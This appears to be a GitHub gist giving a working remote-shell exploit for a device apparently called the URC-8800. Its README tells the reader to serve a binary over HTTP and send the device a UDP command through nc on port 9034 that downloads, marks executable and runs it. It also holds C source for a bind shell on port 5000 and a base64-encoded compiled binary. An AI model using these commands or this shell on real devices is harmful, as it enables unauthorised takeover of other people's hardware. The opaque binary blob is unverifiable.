Created
November 5, 2019 10:17
-
-
Save shiona/7017769b23270a4ae28868baefacda00 to your computer and use it in GitHub Desktop.
shell for urc-8800
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| You can compile the source, but you need a compatible buildchain. | |
| One can be found at https://github.com/jlaunonen/mips-linux-uclibc | |
| to unpack the shell: | |
| base64 -d shell.gzip.b64 | gunzip -c > shell | |
| to upload the shell to the device it needs to be served over http(s). | |
| You are free to use whatever, python3 can be used with: | |
| python3 -m http.server (in the same directory as the shell binary) | |
| tell the device to download the binary and execute it with: | |
| echo "wget -O /tmp/shell http://server_ip:port/shell; chmod +x /tmp/shell; /tmp/shell &" | nc -u device_ip 9034 | |
| Connect to the server with | |
| nc device_ip 5000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <errno.h> | |
| #include <unistd.h> | |
| #include <netinet/in.h> | |
| #include <sys/types.h> | |
| #include <sys/socket.h> | |
| #include <arpa/inet.h> | |
| #include <string.h> | |
| int main(int argc, char *argv[]) | |
| { | |
| int listenfd = 0, connfd = 0; | |
| struct sockaddr_in *serv_addr; | |
| listenfd = socket(AF_INET, SOCK_STREAM, 0); | |
| serv_addr = malloc(sizeof(struct sockaddr_in)); | |
| memset(serv_addr, '0', sizeof(struct sockaddr_in)); | |
| serv_addr->sin_family = AF_INET; | |
| serv_addr->sin_addr.s_addr = htonl(INADDR_ANY); | |
| serv_addr->sin_port = htons(5000); | |
| bind(listenfd, (struct sockaddr *) serv_addr, sizeof(struct sockaddr_in)); | |
| listen(listenfd, 10); | |
| while(1) | |
| { | |
| connfd = accept(listenfd, (struct sockaddr*)NULL, NULL); | |
| dup2(connfd, 0); | |
| dup2(connfd, 1); | |
| dup2(connfd, 2); | |
| execl("/bin/sh", "/bin/busybox", "sh", "-i", (char*) NULL); | |
| close(connfd); | |
| sleep(1); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 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 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment